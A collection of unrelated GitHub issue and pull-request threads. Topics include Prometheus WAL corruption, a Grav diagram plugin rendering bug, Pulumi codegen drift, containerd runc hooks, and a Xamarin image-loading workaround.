/run-all-tests

I am afraid you could not "hold the upstream pdclient instance in the PDClient's constructor". Because there are different io.netty.xxx versions between tispark-tikv-client and upstream-tikv-client, the dependence conflict will happen when you import upstream-tikv-client directly in pom.
To remove the whole tispark-tikv-client, maybe you should remove them together and delete the duplicate dependence in pom.

/run-all-tests

/run-all-tests

/run-all-tests


Diagrams won't render

Hi there,
I'm using this plugin with the Learn2 theme (via the Skeleton: Learn2 with Git Sync Site).
When I put in the sample markdown, for either a flowchart or a sequence diagram, the instructions are not being rendered as a diagram. They just appear as text.
For example:
[sequence]
A->B:Hi C for me !
B-->A:With pleasure
B->C:A says hello
[/sequence]
is seen in the HTML as:

A->B:Hi C for me !
B-->A:With pleasure
B->C:A says hello

I was expecting it to convert to svg.
I'm using Chrome on Ubuntu.
[EDIT]
I've noticed that the console is stating:
(index):21 Uncaught ReferenceError: $ is not defined
It appears to be referring to this line:
$(document).ready(function() {
So, is there a dependency on JQuery that isn't being met?
[/EDIT]
Thanks,
Mark

Update. When I switch off the Javascript pipeline in the site config, the diagrams render OK.

Hey @berthelemy ! Sorry, I didn't notice you opened this issue one month ago. I'm glad to see you solved it 👍 Thanks for using my plugin !


Non-hermetic builds due to implicit pulumi gen-sdk updates

What happened?
Running acceptance tests on https://github.com/pulumi/pulumi-command/pull/180 noticing that the generated code bit-rotted due to implicit upgrades of Pulumi CLI and therefore SDK code generation for Go, and checks are now failing.
I can work around by updating the codegen to be in line with the latest version for now. In the future we can resolve this either by pining the CLI but having a workflow that upgrades its versions via PRs (probably ideal - the most explicit), or some compromise like a nightly workflow that stands up PRs to re-gen the SDKs on the latest current version and maybe even auto-merges them if tests pass.
Expected Behavior
Passing acceptance tests.
Steps to reproduce
Pulumi upgrades that change codegen.
Output of pulumi about
N/A
Additional context
No response
Contributing
Vote on this issue by adding a 👍 reaction.
To contribute a fix for this issue, leave a comment (and link to your pull request, if you've opened one already).

@t0yv0 Did https://github.com/pulumi/pulumi-command/pull/262 fix this issue?

Yes actually good catch.


Silabs

This PR has no functional changes around generation. It's just build/release infrastructure work.

add build targets for platform-specific non-ui executables
fix Jenkinsfile with flags
add feature level

This PR also fixes the issue caused by endpoint config helper, which tripped the token generation on zigbee stack. Turns out zigbee stack DOES USE the endpoint_config helper in some side-ways way, so my earlier "guarantees" that only Matter uses that were naive.
Anyway: this is not fixed with an extra option to the endpoint_config helper which Matter doesn't use but Zigbee pro does.

Fix for https://github.com/project-chip/zap/issues/467


unexpected first record, dropping buffer

prometheus version: 2.15.2
storage: Local storage， size:2T ，local disk storage
log :
level=error ts=2020-06-05T17:01:06.947Z caller=db.go:609 component=tsdb msg="compaction failed" err="reload blocks: head truncate failed: create checkpoint: read segments: corruption in segment /prometheus/wal/00000136 at 32768: unexpected first record, dropping buffer"
Serious consequences：
The wal stored 20 days, 100G old data, cannot be cleared normally, and prometheus cannot be started at last

level=warn ts=2020-06-11T05:47:16.216Z caller=main.go:514 msg="Received SIGTERM, exiting gracefully..."

level=error ts=2020-06-17T06:52:14.015Z caller=main.go:747 err="opening storage failed: get segment range: segments are not sequential"

The wal stored 20 days, 100G old data, cannot be cleared normally, and prometheus cannot be started at last

That's a lot of data in WAL and not normal for Prometheus. Has the corruption message being going on for very long without a restart? The error that you mentioned is mainly due to disk corruption and the solution is to delete the WAL (all the files after the corrupt file).

level=error ts=2020-06-17T06:52:14.015Z caller=main.go:747 err="opening storage failed: get segment range: segments are not sequential"

Did you delete some files manually?

I delete the file  '/prometheus/wal/00000136'  manually.

As can be seen from the log, once the segment file is damaged, the old wal data cannot be cleaned up normally. The files in the wal directory continue to increase, and eventually prometheus will be directly down.

level=error ts=2020-06-01T15:01:07.454Z caller=db.go:609 component=tsdb msg="compaction failed" err="reload blocks: head truncate failed: create checkpoint: read segments: corruption in segment /prometheus/wal/00000136 at 32768: unexpected first record, dropping buffer"
level=error ts=2020-06-11T05:01:05.828Z caller=db.go:609 component=tsdb msg="compaction failed" err="reload blocks: head truncate failed: create checkpoint: read segments: corruption in segment /prometheus/wal/00000136 at 32768: unexpected first record, dropping buffer"

I think this is a fatal bug, there should be a forced deletion strategy or compensation mechanism, wal has a lot of accumulated old data does not make any sense.

I delete the file '/prometheus/wal/00000136' manually.

You should be deleting all the files after that index and not just that file. On the other hand, if you restart the Prometheus, it will clean up the corrupt files itself (delete all the WAL starting from the corruption point).

I delete the file '/prometheus/wal/00000136' manually.

You should be deleting all the files after that index and not just that file. On the other hand, if you restart the Prometheus, it will clean up the corrupt files itself (delete all the WAL starting from the corruption point).

Is  that new ? Can you verify that assertion? thanks :)

What is new?

Yes, after deleting the data, restart the pod, the program can work normally.

Prometheus should consider handling such exceptions, because prometheus should not work properly because of the existence of wal's bad files. Reliable prometheus should not cause a crash after a period of time due to this hidden danger.

Prometheus should consider handling such exceptions

That is a reasonable request, but I am not sure if it is good to silently delete data.
There are metrics to track failed checkpointing. Additionally, we can increment prometheus_tsdb_wal_corruptions_total when we face corruption during runtime (we only increment in the beginning right now), and alerts could be set for those metrics.

prometheus_tsdb_wal_truncations_total==0
prometheus_tsdb_wal_corruptions_total no data

prometheus_tsdb_wal_corruptions_total no data

Cause the old data is deleted.

Yes, we can see the shortcomings of promethes: when such an exception occurs, the normal function of the wal module cannot be guaranteed, which is very undesirable and dangerous, prometheus should heal itself, remove the files before the bad files, and keep them forever Its snapshot function for the latest data.

The wal stored 20 days, 100G old data, cannot be cleared normally, and prometheus cannot be started at last

That's a lot of data in WAL and not normal for Prometheus. Has the corruption message being going on for very long without a restart? The error that you mentioned is mainly due to disk corruption and the solution is to delete the WAL (all the files after the corrupt file).

level=error ts=2020-06-17T06:52:14.015Z caller=main.go:747 err="opening storage failed: get segment range: segments are not sequential"

Did you delete some files manually?

There are comments in the code which  says "When we hit any corruption during checkpointing,repairing is not an option"。But it doesn't mention any way to solve this problem,Does the way that deleting the wal manually is the only way we can do in this case? and I am wondering why prometheus doesn't take any approach after  we hit some corruption. such as deleting the corruption's segment with force. Thanks!

The only solution now is to delete the damaged files so that prometheus can work normally. Without any wal backup data for repair, after all, I think that the stable collection and monitoring function is the original intention and goal of prometheus. Now the only thing to consider is how to delete, and the impact on the monitoring data after deletion.

Now there is a difficulty: Is there any good way to reproduce this exception, so that it is convenient to do optimization testing for the problem.

Hello from the bug scrub.
A lot has happened in this area over the last 4y. There is probably little value in keeping this particular issue open. We'll close it and would encourage people running into WAL replay issues to open new issues.


VS Code terminal render underscores as space

VSCode Version:
Version 1.19.3
Commit 7c4205b5c6e52a53b81c69d2b2dc8a627abaa0ba
Date 2018-01-25T10:32:23.601Z
Shell 1.7.9
Renderer 58.0.3029.110
Node 7.9.0
Architecture x64
OS Version:
Linux vm 4.13.0-32-generic #35-Ubuntu SMP Thu Jan 25 09:13:46 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Steps to Reproduce:

Start type underscores in VS Code terminal

Does this issue occur when all extensions are disabled?: Yes
At the same time, if change default highlight color to some other (for example, by using grep) I can see underscores

This problem same to zsh and bash.
➜  remote-monitor git:(master) ✗ bash --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
➜  remote-monitor git:(master) ✗ zsh --version
zsh 5.2 (x86_64-ubuntu-linux-gnu)

Duplicate https://github.com/Microsoft/vscode/issues/35901


Add support for runc hook specs

The issue is the OCI runtime spec has support for specifying hooks that are called during the container lifecycle events. runc has implemented these hooks.  CRI does not currently provide a way to specify these hooks for inclusion into the container config.json.  We should consider adding support for hook config to cri-containerd.
See cri-o support for specifying runc hooks here:
https://github.com/kubernetes-incubator/cri-o/blob/master/hooks.md
Hooks explained here: https://github.com/opencontainers/runtime-spec/blob/master/config.md#prestart
The alternative for runc hook users is to proxy or replace runc with their own version of runc, which is not a good solution.

Any update on this?
If anyone can help me understand, this issue in only for runc hooks or also for OCI hooks (podman hooks)?

This issue will be closed with containerd v2.0 as NRI comes out of experimental phase and is officially supported.


notebooks: add generic colors for renderers

Fixes https://github.com/microsoft/vscode/issues/107985

@mjbvz can we look at this for Feb?

@mjbvz can we look at this for Feb?


what is the picoScan100  reflector define type?

Dear
Customer is asking us what the picoScan100  reflector define type? int? float? int64?

Thanks for your feedback. I assume the customer means the reflector bit, which indicates the detection of a reflector. It is a flag (value 0 or 1) of type sensor_msgs::PointField::INT8 (1 byte). The types are listed in the field description of a PointCloud2 message and can be viewed e.g. with rostopic echo -n 1 /cloud_all_fields_fullframe:
fields:
  -
    name: "x"
    offset: 0
    datatype: 7
    count: 1
  -
    name: "y"
    offset: 4
    datatype: 7
    count: 1
  -
    name: "z"
    offset: 8
    datatype: 7
    count: 1
  -
    name: "i"
    offset: 12
    datatype: 7
    count: 1
  -
...
  -
    name: "reflector"
    offset: 30
    datatype: 1
    count: 1

Datatype 1 is an INT8, datatype 7 is a FLOAT32. See https://docs.ros.org/en/jade/api/sensor_msgs/html/msg/PointField.html for a complete list of all datatypes of a PointCloud2 message.


Fix docs rector rules list URL

Currently got 404 due to relative path that goes to https://getrector.org/docs/rector_rules_overview.md
This PR fix it.

Thanks


chore: update FlowType version

@STRML @daynin I see that in the react-resizable repo there is a PR to get rid of componentWillReceiveProps, once it's merged and its version is updated, perhaps it will be a good idea to update all our dependencies here (before we push a new version). Let me know I can get right on it.

@n1ghtmare

once it's merged and its version is updated, perhaps it will be a good idea to update all our dependencies here (before we push a new version)
yes, I think that's a good idea!

I created an issue for it https://github.com/STRML/react-grid-layout/issues/1002


[number-input]: sync with @carbon/react version

The number-input now uses the - and + icons to lower/increase the input value
"Default" story, the input default value starts at 50
The @carbon/react storybook also only has "Default" and "Skeleton" stories

Initial styles updated here: https://github.com/carbon-design-system/carbon-for-ibm-dotcom/issues/9998

Closing because there is duplicate issue here: [number-input]: sync with @carbon/react version #10111


[Silicon Labs] Add support for USBDevice

This pull request adds initial support for adding USBDevice capabilities to Silicon Labs Wonder/Giant/Leopard and Happy Gecko platforms.
There is one outstanding bug impacting this pull request:
https://github.com/mbedmicro/mbed/issues/1284

Thanks, LGTM


Had to modify your sample code to get this to work with C# Cross-Platform Net Standard project UWP

I tried to use the WorkingWithImages sample you refer to and where the sample code originates from. The line :
var imageSource = ImageSource.FromResource(Source);
in ImageResourceExtension causes a Reflection error. However if I replace that line with:
Assembly assembly = GetType().GetTypeInfo().Assembly;
var imageSource = ImageSource.FromResource(Source, assembly);
the code executes as intended.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7eeb0e65-143b-0f5e-a8fb-c75309689338
Version Independent ID: 6b984264-a950-4310-483f-99f908b0a8b0
Content: Images - Xamarin
Content Source: docs/xamarin-forms/user-interface/images.md
Service: unspecified
GitHub Login: @davidbritch
Microsoft Alias: dabritch

Hi @davefxy
What platform did you encounter this behavior on? It's working fine for me on iOS (using .NET Standard).

I am sorry I didn't specify. It was on a Windows 10 system. This was prior to the release of Xamarin Forms v3. I haven't gone back on tried it since May.

I ran the UWP version.

I ran both UWP and Android. They both worked fine. Sorry about multiple msgs. Was in the middle of developing and wasn't concentrating.


implement eth_getStorageAt method.  initial pass

Signed-off-by: lukelee-sl<EMAIL_ADDRESS>Description:
Implement eth_getStorageAt using guidelines provided in #52 and HIP 482
Related issue(s):
Fixes #52
Notes for reviewer:
Checklist

[x] Documented (Code comments, README, etc.)
[x] Tested (unit, integration, etc.)

Codecov Report

Merging #433 (63acc4e) into main (06e89ee) will increase coverage by 0.58%.
The diff coverage is 68.00%.

@@            Coverage Diff             @@
##             main     #433      +/-   ##
==========================================
+ Coverage   73.65%   74.24%   +0.58%
==========================================
  Files          10       10
  Lines         835      858      +23
  Branches      137      146       +9
==========================================
+ Hits          615      637      +22
+ Misses        172      167       -5
- Partials       48       54       +6

Impacted Files
Coverage Δ

packages/relay/src/lib/errors/JsonRpcError.ts
85.71% <ø> (ø)

packages/relay/src/lib/eth.ts
80.85% <68.00%> (-0.40%)
:arrow_down:

packages/relay/src/lib/clients/mirrorNodeClient.ts
89.70% <0.00%> (+3.67%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


eubucco.com website down ?

It seems the website https://eubucco.com/is down.
Is there an alternative way to retrieve the data ?

It's back !
Thank you !